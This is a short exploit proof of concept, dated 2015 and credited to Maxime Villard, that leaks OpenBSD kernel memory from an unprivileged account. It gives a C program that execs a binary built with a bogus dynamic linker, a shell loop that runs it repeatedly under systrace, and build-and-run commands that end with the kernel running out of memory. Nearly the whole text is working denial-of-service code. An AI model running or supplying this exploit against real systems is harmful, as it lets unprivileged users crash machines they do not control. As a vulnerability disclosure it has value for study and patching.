/*
 * 2015, Maxime Villard
 * Exploit triggering a memory leak in the OpenBSD kernel from an unprivileged
 * user. Found by The Brainy Code Scanner.
 */

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#! /bin/sh
while true
do
  systrace -A ./exploit
done

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#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
  execve("bin", argv, NULL);
}

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int main() {}

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  $ gcc -o exploit exploit.c
  $ gcc -Wl,-dynamic-linker,/DEAD -o bin bin.c
  $ ./script.sh

Wait a bit, and the kernel will run out of memory.